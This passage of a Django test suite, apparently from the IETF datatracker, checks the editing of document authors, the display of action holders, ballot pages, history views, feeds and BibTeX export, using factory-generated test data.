urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) self.login('secretary') post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis='delete me' ) post_data.pop('basis') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 200) self.assertContains(r, 'This field is required.') def test_edit_authors_no_change(self): draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'no change' before = list(draft.documentauthor_set.values('person', 'email', 'affiliation', 'country', 'order')) post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis=change_reason ) self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values('person', 'email', 'affiliation', 'country', 'order')) self.assertCountEqual(after, before, 'Unexpected change to an author') self.assertEqual(EditedAuthorsDocEvent.objects.filter(basis=change_reason).count(), 0) def do_edit_authors_append_authors_test(self, new_author_count): """Can add author at the end of the list""" draft = WgDraftFactory() starting_author_count = 3 DocumentAuthorFactory.create_batch(starting_author_count, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'add a new author' compare_props = 'person', 'email', 'affiliation', 'country', 'order' before = list(draft.documentauthor_set.values(*compare_props)) events_before = EditedAuthorsDocEvent.objects.count() post_data = self.make_edit_authors_post_data( authors=draft.documentauthor_set.all(), basis=change_reason ) new_authors = PersonFactory.create_batch(new_author_count, default_emails=True) new_author_data = [ dict( person=new_author.pk, email=str(new_author.email()), affiliation='University of Somewhere', country='Botswana', ) for new_author in new_authors ] for index, auth_dict in enumerate(new_author_data): self.add_author_to_edit_authors_post_data(post_data, auth_dict) auth_dict['order'] = starting_author_count + index + 1 # for comparison later self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values(*compare_props)) self.assertEqual(len(after), len(before) + new_author_count) for b, a in zip(before + new_author_data, after): for prop in compare_props: self.assertEqual(a[prop], b[prop], 'Unexpected change: "{}" was "{}", changed to "{}"'.format( prop, b[prop], a[prop] )) self.assertEqual(EditedAuthorsDocEvent.objects.count(), events_before + new_author_count) change_events = EditedAuthorsDocEvent.objects.filter(basis=change_reason) self.assertEqual(change_events.count(), new_author_count) # The events are most-recent first, so first author added is last event in the list. # Reverse the author list with [::-1] for evt, auth in zip(change_events, new_authors[::-1]): self.assertIn('added', evt.desc.lower()) self.assertIn(auth.name, evt.desc) def test_edit_authors_append_author(self): self.do_edit_authors_append_authors_test(1) def test_edit_authors_append_authors(self): self.do_edit_authors_append_authors_test(3) def test_edit_authors_insert_author(self): """Can add author in the middle of the list""" draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'add a new author' compare_props = 'person', 'email', 'affiliation', 'country', 'order' before = list(draft.documentauthor_set.values(*compare_props)) events_before = EditedAuthorsDocEvent.objects.count() post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis=change_reason ) new_author = PersonFactory(default_emails=True) new_author_data = dict( person=new_author.pk, email=str(new_author.email()), affiliation='University of Somewhere', country='Botswana', ) self.add_author_to_edit_authors_post_data(post_data, new_author_data, insert_order=1) self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values(*compare_props)) new_author_data['order'] = 2 # corresponds to insert_order == 1 expected = copy.deepcopy(before) expected.insert(1, new_author_data) expected[2]['order'] = 3 expected[3]['order'] = 4 self.assertEqual(len(after), len(expected)) for b, a in zip(expected, after): for prop in compare_props: self.assertEqual(a[prop], b[prop], 'Unexpected change: "{}" was "{}", changed to "{}"'.format( prop, b[prop], a[prop] )) # 3 changes: new author, plus two order changes self.assertEqual(EditedAuthorsDocEvent.objects.count(), events_before + 3) change_events = EditedAuthorsDocEvent.objects.filter(basis=change_reason) self.assertEqual(change_events.count(), 3) add_event = change_events.filter(desc__icontains='added').first() reorder_events = change_events.filter(desc__icontains='changed order') self.assertIsNotNone(add_event) self.assertEqual(reorder_events.count(), 2) def test_edit_authors_remove_author(self): draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'remove an author' compare_props = 'person', 'email', 'affiliation', 'country', 'order' before = list(draft.documentauthor_set.values(*compare_props)) events_before = EditedAuthorsDocEvent.objects.count() post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis=change_reason ) # delete the second author (index == 1) deleted_author_data = before.pop(1) post_data['author-1-DELETE'] = 'on' # delete box checked self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values(*compare_props)) before[1]['order'] = 2 # was 3, but should have been decremented self.assertEqual(len(after), len(before)) for b, a in zip(before, after): for prop in compare_props: self.assertEqual(a[prop], b[prop], 'Unexpected change: "{}" was "{}", changed to "{}"'.format( prop, b[prop], a[prop] )) # expect 2 events: one for removing author, another for reordering the later author self.assertEqual(EditedAuthorsDocEvent.objects.count(), events_before + 2) change_events = EditedAuthorsDocEvent.objects.filter(basis=change_reason) self.assertEqual(change_events.count(), 2) removed_event = change_events.filter(desc__icontains='removed').first() self.assertIsNotNone(removed_event) deleted_person = Person.objects.get(pk=deleted_author_data['person']) self.assertIn(deleted_person.name, removed_event.desc) reordered_event = change_events.filter(desc__icontains='changed order').first() reordered_person = Person.objects.get(pk=after[1]['person']) self.assertIsNotNone(reordered_event) self.assertIn(reordered_person.name, reordered_event.desc) def test_edit_authors_reorder_authors(self): draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'reorder the authors' compare_props = 'person', 'email', 'affiliation', 'country', 'order' before = list(draft.documentauthor_set.values(*compare_props)) events_before = EditedAuthorsDocEvent.objects.count() post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis=change_reason ) # swap first two authors post_data['author-0-ORDER'] = 1 post_data['author-1-ORDER'] = 0 self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values(*compare_props)) # swap the 'before' record order tmp = before[0] before[0] = before[1] before[0]['order'] = 1 before[1] = tmp before[1]['order'] = 2 for b, a in zip(before, after): for prop in compare_props: self.assertEqual(a[prop], b[prop], 'Unexpected change: "{}" was "{}", changed to "{}"'.format( prop, b[prop], a[prop] )) # expect 2 events: one for each changed author self.assertEqual(EditedAuthorsDocEvent.objects.count(), events_before + 2) change_events = EditedAuthorsDocEvent.objects.filter(basis=change_reason) self.assertEqual(change_events.count(), 2) self.assertEqual(change_events.filter(desc__icontains='changed order').count(), 2) self.assertIsNotNone( change_events.filter( desc__contains=Person.objects.get(pk=before[0]['person']).name ).first() ) self.assertIsNotNone( change_events.filter( desc__contains=Person.objects.get(pk=before[1]['person']).name ).first() ) def test_edit_authors_edit_fields(self): draft = WgDraftFactory() DocumentAuthorFactory.create_batch(3, document=draft) url = urlreverse('ietf.doc.views_doc.edit_authors', kwargs=dict(name=draft.name)) change_reason = 'reorder the authors' compare_props = 'person', 'email', 'affiliation', 'country', 'order' before = list(draft.documentauthor_set.values(*compare_props)) events_before = EditedAuthorsDocEvent.objects.count() post_data = self.make_edit_authors_post_data( authors = draft.documentauthor_set.all(), basis=change_reason ) new_email = EmailFactory(person=draft.authors()[0]) post_data['author-0-email'] = new_email.address post_data['author-1-affiliation'] = 'University of Nowhere' post_data['author-2-country'] = 'Chile' self.login('secretary') r = self.client.post(url, post_data) self.assertEqual(r.status_code, 302) draft = Document.objects.get(pk=draft.pk) after = list(draft.documentauthor_set.values(*compare_props)) expected = copy.deepcopy(before) expected[0]['email'] = new_email.address expected[1]['affiliation'] = 'University of Nowhere' expected[2]['country'] = 'Chile' for b, a in zip(expected, after): for prop in compare_props: self.assertEqual(a[prop], b[prop], 'Unexpected change: "{}" was "{}", changed to "{}"'.format( prop, b[prop], a[prop] )) # expect 3 events: one for each changed author self.assertEqual(EditedAuthorsDocEvent.objects.count(), events_before + 3) change_events = EditedAuthorsDocEvent.objects.filter(basis=change_reason) self.assertEqual(change_events.count(), 3) email_event = change_events.filter(desc__icontains='changed email').first() affiliation_event = change_events.filter(desc__icontains='changed affiliation').first() country_event = change_events.filter(desc__icontains='changed country').first() self.assertIsNotNone(email_event) self.assertIn(draft.authors()[0].name, email_event.desc) self.assertIn(before[0]['email'], email_event.desc) self.assertIn(after[0]['email'], email_event.desc) self.assertIsNotNone(affiliation_event) self.assertIn(draft.authors()[1].name, affiliation_event.desc) self.assertIn(before[1]['affiliation'], affiliation_event.desc) self.assertIn(after[1]['affiliation'], affiliation_event.desc) self.assertIsNotNone(country_event) self.assertIn(draft.authors()[2].name, country_event.desc) self.assertIn(before[2]['country'], country_event.desc) self.assertIn(after[2]['country'], country_event.desc) @staticmethod def _pyquery_select_action_holder_string(q, s): """Helper to use PyQuery to find an action holder in the draft HTML""" # selector grabs the action holders heading and finds siblings with a div containing the search string (also in any title attribute) return q('th:contains("Action Holder") ~ td>div:contains("%s"), th:contains("Action Holder") ~ td>div *[title*="%s"]' % (s, s)) @mock.patch.object(Document, 'action_holders_enabled', return_value=False, new_callable=mock.PropertyMock) def test_document_draft_hides_action_holders(self, mock_method): """Draft should not show action holders when appropriate""" draft = WgDraftFactory() url = urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name)) r = self.client.get(url) self.assertNotContains(r, 'Action Holder') # should not show action holders... draft.action_holders.set([PersonFactory()]) r = self.client.get(url) self.assertNotContains(r, 'Action Holder') # ...even if they are assigned @mock.patch.object(Document, 'action_holders_enabled', return_value=True, new_callable=mock.PropertyMock) def test_document_draft_shows_action_holders(self, mock_method): """Draft should show action holders when appropriate""" draft = WgDraftFactory() url = urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name)) # No action holders case should be shown properly r = self.client.get(url) self.assertContains(r, 'Action Holder') # should show action holders q = PyQuery(r.content) self.assertEqual(len(self._pyquery_select_action_holder_string(q, '(None)')), 1) # Action holders should be listed when assigned draft.action_holders.set(PersonFactory.create_batch(3)) # Make one action holder "old" old_action_holder = draft.documentactionholder_set.first() old_action_holder.time_added -= datetime.timedelta(days=30) old_action_holder.save() with self.settings(DOC_ACTION_HOLDER_AGE_LIMIT_DAYS=20): r = self.client.get(url) self.assertContains(r, 'Action Holder') # should still be shown q = PyQuery(r.content) self.assertEqual(len(self._pyquery_select_action_holder_string(q, '(None)')), 0) for person in draft.action_holders.all(): self.assertEqual(len(self._pyquery_select_action_holder_string(q, person.name)), 1) # check that one action holder was marked as old self.assertEqual(len(self._pyquery_select_action_holder_string(q, 'for 30 days')), 1) @mock.patch.object(Document, 'action_holders_enabled', return_value=True, new_callable=mock.PropertyMock) def test_document_draft_action_holders_buttons(self, mock_method): """Buttons for action holders should be shown when AD or secretary""" draft = WgDraftFactory() draft.action_holders.set([PersonFactory()]) url = urlreverse('ietf.doc.views_doc.document_main', kwargs=dict(name=draft.name)) edit_ah_url = urlreverse('ietf.doc.views_doc.edit_action_holders', kwargs=dict(name=draft.name)) remind_ah_url = urlreverse('ietf.doc.views_doc.remind_action_holders', kwargs=dict(name=draft.name)) def _run_test(username=None, expect_buttons=False): if username: self.client.login(username=username, password=username + '+password') r = self.client.get(url) q = PyQuery(r.content) self.assertEqual( len(q('th:contains("Action Holder") ~ td a[href="%s"]' % edit_ah_url)), 1 if expect_buttons else 0, '%s should%s see the edit action holders button but %s' % ( username if username else 'unauthenticated user', '' if expect_buttons else ' not', 'did not' if expect_buttons else 'did', ) ) self.assertEqual( len(q('th:contains("Action Holder") ~ td a[href="%s"]' % remind_ah_url)), 1 if expect_buttons else 0, '%s should%s see the remind action holders button but %s' % ( username if username else 'unauthenticated user', '' if expect_buttons else ' not', 'did not' if expect_buttons else 'did', ) ) _run_test(None, False) _run_test('plain', False) _run_test('ad', True) _run_test('secretary', True) def test_draft_group_link(self): """Link to group 'about' page should have correct format""" for group_type_id in ['wg', 'rg', 'ag']: group = GroupFactory(type_id=group_type_id) draft = WgDraftFactory(name='draft-document-%s' % group_type_id, group=group) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assert_correct_wg_group_link(r, group) rfc = WgRfcFactory(name='draft-rfc-document-%s' % group_type_id, group=group) DocEventFactory.create(doc=rfc, type='published_rfc', time = '2010-10-10') # get the rfc name to avoid a redirect rfc_name = rfc.docalias.filter(name__startswith='rfc').first().name r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=rfc_name))) self.assertEqual(r.status_code, 200) self.assert_correct_wg_group_link(r, group) for group_type_id in ['ietf', 'team']: group = GroupFactory(type_id=group_type_id) draft = WgDraftFactory(name='draft-document-%s' % group_type_id, group=group) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assert_correct_non_wg_group_link(r, group) rfc = WgRfcFactory(name='draft-rfc-document-%s' % group_type_id, group=group) DocEventFactory.create(doc=rfc, type='published_rfc', time = '2010-10-10') # get the rfc name to avoid a redirect rfc_name = rfc.docalias.filter(name__startswith='rfc').first().name r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=rfc_name))) self.assertEqual(r.status_code, 200) self.assert_correct_non_wg_group_link(r, group) def test_document_primary_and_history_views(self): IndividualDraftFactory(name='draft-imaginary-independent-submission') ConflictReviewFactory(name='conflict-review-imaginary-irtf-submission') CharterFactory(name='charter-ietf-mars') DocumentFactory(type_id='agenda',name='agenda-72-mars') DocumentFactory(type_id='minutes',name='minutes-72-mars') DocumentFactory(type_id='slides',name='slides-72-mars-1-active') statchg = DocumentFactory(type_id='statchg',name='status-change-imaginary-mid-review') statchg.set_state(State.objects.get(type_id='statchg',slug='adrev')) # Ensure primary views of both current and historic versions of documents works for docname in ["draft-imaginary-independent-submission", "conflict-review-imaginary-irtf-submission", "status-change-imaginary-mid-review", "charter-ietf-mars", "agenda-72-mars", "minutes-72-mars", "slides-72-mars-1-active", # TODO: add #"bluesheets-72-mars-1", #"recording-72-mars-1-00", ]: doc = Document.objects.get(name=docname) # give it some history doc.save_with_history([DocEvent.objects.create(doc=doc, rev=doc.rev, type="changed_document", by=Person.objects.get(user__username="secretary"), desc="Test")]) doc.rev = "01" doc.save_with_history([DocEvent.objects.create(doc=doc, rev=doc.rev, type="changed_document", by=Person.objects.get(user__username="secretary"), desc="Test")]) # Fetch the main page resulting latest version r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "%s-01"%docname) # Fetch 01 version even when it is last version r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name,rev="01"))) self.assertEqual(r.status_code, 200) self.assertContains(r, "%s-01"%docname) # Fetch version number which is too large, that should redirect to main page r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name,rev="02"))) self.assertEqual(r.status_code, 302) # Fetch 00 version which should result that version r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name,rev="00"))) self.assertEqual(r.status_code, 200) self.assertContains(r, "%s-00"%docname) def test_rfcqueue_auth48_views(self): """Test view handling of RFC editor queue auth48 state""" def _change_state(doc, state): event = StateDocEventFactory(doc=doc, state=state) doc.set_state(event.state) doc.save_with_history([event]) draft = IndividualDraftFactory() # Put in an rfceditor state other than auth48 for state in [('draft-iesg', 'rfcqueue'), ('draft-rfceditor', 'rfc-edit')]: _change_state(draft, state) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertNotContains(r, 'Auth48 status') # Put in auth48 state without a URL _change_state(draft, ('draft-rfceditor', 'auth48')) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertNotContains(r, 'Auth48 status') # Now add a URL documenturl = draft.documenturl_set.create(tag_id='auth48', url='http://rfceditor.example.com/auth48-url') r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, 'Auth48 status') self.assertContains(r, documenturl.url) # Put in auth48-done state and delete auth48 DocumentURL draft.documenturl_set.filter(tag_id='auth48').delete() _change_state(draft, ('draft-rfceditor', 'auth48-done')) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=draft.name))) self.assertEqual(r.status_code, 200) self.assertNotContains(r, 'Auth48 status') class DocTestCase(TestCase): def test_status_change(self): statchg = StatusChangeFactory() r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=statchg.name))) self.assertEqual(r.status_code, 200) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=statchg.relateddocument_set.first().target.document))) self.assertEqual(r.status_code, 302) def test_document_charter(self): CharterFactory(name='charter-ietf-mars') r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name="charter-ietf-mars"))) self.assertEqual(r.status_code, 200) def test_document_conflict_review(self): ConflictReviewFactory(name='conflict-review-imaginary-irtf-submission') r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name='conflict-review-imaginary-irtf-submission'))) self.assertEqual(r.status_code, 200) def test_document_material(self): MeetingFactory(type_id='ietf',number='72') mars = GroupFactory(type_id='wg',acronym='mars') marschairman = PersonFactory(user__username='marschairman') mars.role_set.create(name_id='chair',person=marschairman,email=marschairman.email()) doc = DocumentFactory( name="slides-testteam-test-slides", rev="00", title="Test Slides", group__acronym='testteam', type_id="slides" ) doc.set_state(State.objects.get(type="slides", slug="active")) session = SessionFactory( name = "session-72-mars-1", meeting = Meeting.objects.get(number='72'), group = Group.objects.get(acronym='mars'), modified = datetime.datetime.now(), add_to_schedule=False, ) SchedulingEvent.objects.create( session=session, status=SessionStatusName.objects.create(slug='scheduled'), by = Person.objects.get(user__username="marschairman"), ) SessionPresentation.objects.create(session=session, document=doc, rev=doc.rev) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) def test_document_ballot(self): doc = IndividualDraftFactory() ad = Person.objects.get(user__username="ad") ballot = create_ballot_if_not_open(None, doc, ad, 'approve') assert ballot == doc.active_ballot() # make sure we have some history doc.save_with_history([DocEvent.objects.create(doc=doc, rev=doc.rev, type="changed_document", by=Person.objects.get(user__username="secretary"), desc="Test")]) pos = BallotPositionDocEvent.objects.create( doc=doc, rev=doc.rev, ballot=ballot, type="changed_ballot_position", pos_id="yes", comment="Looks fine to me", comment_time=datetime.datetime.now(), balloter=Person.objects.get(user__username="ad"), by=Person.objects.get(name="(System)")) r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, pos.comment) # test with ballot_id r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name, ballot_id=ballot.pk))) self.assertEqual(r.status_code, 200) self.assertContains(r, pos.comment) # test popup too while we're at it r = self.client.get(urlreverse("ietf.doc.views_doc.ballot_popup", kwargs=dict(name=doc.name, ballot_id=ballot.pk))) self.assertEqual(r.status_code, 200) # Now simulate a new revision and make sure positions on older revisions are marked as such oldrev = doc.rev e = NewRevisionDocEvent.objects.create(doc=doc,rev='%02d'%(int(doc.rev)+1),type='new_revision',by=Person.objects.get(name="(System)")) doc.rev = e.rev doc.save_with_history([e]) r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertRegex(r.content.decode(), r'\(\s*%s\s+for\s+-%s\s*\)' % (pos.comment_time.strftime('%Y-%m-%d'), oldrev)) # Now simulate a new ballot against the new revision and make sure the "was" position is included pos2 = BallotPositionDocEvent.objects.create( doc=doc, rev=doc.rev, ballot=ballot, type="changed_ballot_position", pos_id="noobj", comment="Still looks okay to me", comment_time=datetime.datetime.now(), balloter=Person.objects.get(user__username="ad"), by=Person.objects.get(name="(System)")) r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, pos2.comment) self.assertContains(r, '(was %s)' % pos.pos) def test_document_ballot_popup_unique_anchors_per_doc(self): """Ballot popup anchors should be different for each document""" ad = Person.objects.get(user__username="ad") docs = IndividualDraftFactory.create_batch(2) ballots = [create_ballot_if_not_open(None, doc, ad, 'approve') for doc in docs] for doc, ballot in zip(docs, ballots): BallotPositionDocEvent.objects.create( doc=doc, rev=doc.rev, ballot=ballot, type="changed_ballot_position", pos_id="yes", comment="Looks fine to me", comment_time=datetime.datetime.now(), balloter=Person.objects.get(user__username="ad"), by=Person.objects.get(name="(System)")) anchors = set() author_slug = slugify(ad.plain_name()) for doc, ballot in zip(docs, ballots): r = self.client.get(urlreverse( "ietf.doc.views_doc.ballot_popup", kwargs=dict(name=doc.name, ballot_id=ballot.pk) )) self.assertEqual(r.status_code, 200) q = PyQuery(r.content) href = q(f'div.balloter-name a[href$="{author_slug}"]').attr('href') ids = [ target.attr('id') for target in q(f'p.h5[id$="{author_slug}"]').items() ] self.assertEqual(len(ids), 1, 'Should be exactly one link for the balloter') self.assertEqual(href, f'#{ids[0]}', 'Anchor href should match ID') anchors.add(href) self.assertEqual(len(anchors), len(docs), 'Each doc should have a distinct anchor for the balloter') def test_document_ballot_needed_positions(self): # draft doc = IndividualDraftFactory(intended_std_level_id='ps') doc.set_state(State.objects.get(type_id='draft-iesg',slug='iesg-eva')) ad = Person.objects.get(user__username="ad") create_ballot_if_not_open(None, doc, ad, 'approve') r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertContains(r, 'more YES or NO') Document.objects.filter(pk=doc.pk).update(intended_std_level='inf') r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertNotContains(r, 'more YES or NO') # status change DocAlias.objects.create(name='rfc9998').docs.add(IndividualDraftFactory()) DocAlias.objects.create(name='rfc9999').docs.add(IndividualDraftFactory()) doc = DocumentFactory(type_id='statchg',name='status-change-imaginary-mid-review') iesgeval_pk = str(State.objects.get(slug='iesgeval',type__slug='statchg').pk) self.client.login(username='ad', password='ad+password') r = self.client.post(urlreverse('ietf.doc.views_status_change.change_state',kwargs=dict(name=doc.name)),dict(new_state=iesgeval_pk)) self.assertEqual(r.status_code, 302) r = self.client.get(r._headers["location"][1]) self.assertContains(r, ">IESG Evaluation<") doc.relateddocument_set.create(target=DocAlias.objects.get(name='rfc9998'),relationship_id='tohist') r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertNotContains(r, 'Needs a YES') self.assertNotContains(r, 'more YES or NO') doc.relateddocument_set.create(target=DocAlias.objects.get(name='rfc9999'),relationship_id='tois') r = self.client.get(urlreverse("ietf.doc.views_doc.document_ballot", kwargs=dict(name=doc.name))) self.assertContains(r, 'more YES or NO') def test_document_json(self): doc = IndividualDraftFactory() r = self.client.get(urlreverse("ietf.doc.views_doc.document_json", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) data = r.json() self.assertEqual(doc.name, data['name']) self.assertEqual(doc.pages,data['pages']) def test_writeup(self): doc = IndividualDraftFactory(states = [('draft','active'),('draft-iesg','iesg-eva')],) appr = WriteupDocEvent.objects.create( doc=doc, rev=doc.rev, desc="Changed text", type="changed_ballot_approval_text", text="This is ballot approval text.", by=Person.objects.get(name="(System)")) notes = WriteupDocEvent.objects.create( doc=doc, rev=doc.rev, desc="Changed text", type="changed_ballot_writeup_text", text="This is ballot writeup notes.", by=Person.objects.get(name="(System)")) rfced_note = WriteupDocEvent.objects.create( doc=doc, rev=doc.rev, desc="Changed text", type="changed_rfc_editor_note_text", text="This is a note for the RFC Editor.", by=Person.objects.get(name="(System)")) url = urlreverse('ietf.doc.views_doc.document_writeup', kwargs=dict(name=doc.name)) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, appr.text) self.assertContains(r, notes.text) self.assertContains(r, rfced_note.text) def test_history(self): doc = IndividualDraftFactory() e = DocEvent.objects.create( doc=doc, rev=doc.rev, desc="Something happened.", type="added_comment", by=Person.objects.get(name="(System)")) url = urlreverse('ietf.doc.views_doc.document_history', kwargs=dict(name=doc.name)) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, e.desc) def test_history_bis_00(self): rfcname='rfc9090' rfc = WgRfcFactory(alias2=rfcname) bis_draft = WgDraftFactory(name='draft-ietf-{}-{}bis'.format(rfc.group.acronym,rfcname)) url = urlreverse('ietf.doc.views_doc.document_history', kwargs=dict(name=bis_draft.name)) r = self.client.get(url) self.assertEqual(r.status_code, 200) q = PyQuery(unicontent(r)) attr1='value="{}"'.format(rfcname) self.assertEqual(len(q('option['+attr1+'][selected="selected"]')), 1) def test_document_feed(self): doc = IndividualDraftFactory() e = DocEvent.objects.create( doc=doc, rev=doc.rev, desc="Something happened.", type="added_comment", by=Person.objects.get(name="(System)")) r = self.client.get("/feed/document-changes/%s/" % doc.name) self.assertEqual(r.status_code, 200) self.assertContains(r, e.desc) def test_document_feed_with_control_character(self): doc = IndividualDraftFactory() DocEvent.objects.create( doc=doc, rev=doc.rev, desc="Something happened involving the \x0b character.", type="added_comment", by=Person.objects.get(name="(System)")) r = self.client.get("/feed/document-changes/%s/" % doc.name) self.assertEqual(r.status_code, 200) self.assertContains(r, 'Something happened involving the') def test_last_call_feed(self): doc = IndividualDraftFactory() doc.set_state(State.objects.get(type="draft-iesg", slug="lc")) LastCallDocEvent.objects.create( doc=doc, rev=doc.rev, desc="Last call\x0b", # include a control character to be sure it does not break anything type="sent_last_call", by=Person.objects.get(user__username="secretary"), expires=datetime.date.today() + datetime.timedelta(days=7)) r = self.client.get("/feed/last-call/") self.assertEqual(r.status_code, 200) self.assertContains(r, doc.name) def test_rfc_feed(self): WgRfcFactory() r = self.client.get("/feed/rfc/") self.assertTrue(r.status_code, 200) r = self.client.get("/feed/rfc/2016") self.assertTrue(r.status_code, 200) def test_state_help(self): url = urlreverse('ietf.doc.views_help.state_help', kwargs=dict(type="draft-iesg")) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, State.objects.get(type="draft-iesg", slug="lc").name) def test_document_nonietf_pubreq_button(self): doc = IndividualDraftFactory() self.client.login(username='iab-chair', password='iab-chair+password') r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertNotContains(r, "Request publication") Document.objects.filter(pk=doc.pk).update(stream='iab') r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertContains(r, "Request publication") doc.states.add(State.objects.get(type_id='draft-stream-iab',slug='rfc-edit')) r = self.client.get(urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=doc.name))) self.assertEqual(r.status_code, 200) self.assertNotContains(r, "Request publication") def _parse_bibtex_response(self, response) -> dict: parser = bibtexparser.bparser.BibTexParser() parser.homogenise_fields = False # do not modify field names (e.g., turns "url" into "link" by default) return bibtexparser.loads(response.content.decode(), parser=parser).get_entry_dict() @override_settings(RFC_EDITOR_INFO_BASE_URL='https://www.rfc-editor.ietf.org/info/') def test_document_bibtex(self): rfc = WgRfcFactory.create( #other_aliases = ['rfc6020',], states = [('draft','rfc'),('draft-iesg','pub')], std_level_id = 'ps', time = datetime.datetime(2010,10,10), ) num = rfc.rfc_number() DocEventFactory.create(doc=rfc, type='published_rfc', time = '2010-10-10') # url = urlreverse('ietf.doc.views_doc.document_bibtex', kwargs=dict(name=rfc.name)) r = self.client.get(url) entry = self._parse_bibtex_response(r)["rfc%s"%num] self.assertEqual(entry['series'], 'Request for Comments') self.assertEqual(entry['number'], num) self.assertEqual(entry['doi'], '10.17487/RFC%s'%num) self.assertEqual(entry['year'], '2010') self.assertEqual(entry['month'], 'oct') self.assertEqual(entry['url'], f'https://www.rfc-editor.ietf.org/info/rfc{num}') # self.assertNotIn('day', entry) april1 = IndividualRfcFactory.create( stream_id = 'ise', states = [('draft','rfc'),('draft-iesg','pub')], std_level_id = 'inf', time = datetime.datetime(1990,0o4,0o1), ) num = april1.rfc_number() DocEventFactory.create(doc=april1, type='published_rfc', time = '1990-04-01') # url = urlreverse('ietf.doc.views_doc.document_bibtex', kwargs=dict(name=april1.name)) r = self.client.get(url) self.assertEqual(r.get('Content-Type'), 'text/plain; charset=utf-8') entry = self._parse_bibtex_response(r)["rfc%s"%num] self.assertEqual(entry['series'], 'Request for Comments') self.assertEqual(entry['number'], num) self.assertEqual(entry['doi'], '10.17487/RFC%s'%num) self.assertEqual(entry['year'], '1990') self.assertEqual(entry['month'], 'apr') self.assertEqual(entry['day'], '1') self.assertEqual(entry['url'], f'https://www.rfc-editor.ietf.org/info/rfc{num}') draft = IndividualDraftFactory.create() docname = '%s-%s' % (draft.name, draft.rev) bibname = docname[6:] # drop the 'draft-' prefix url = 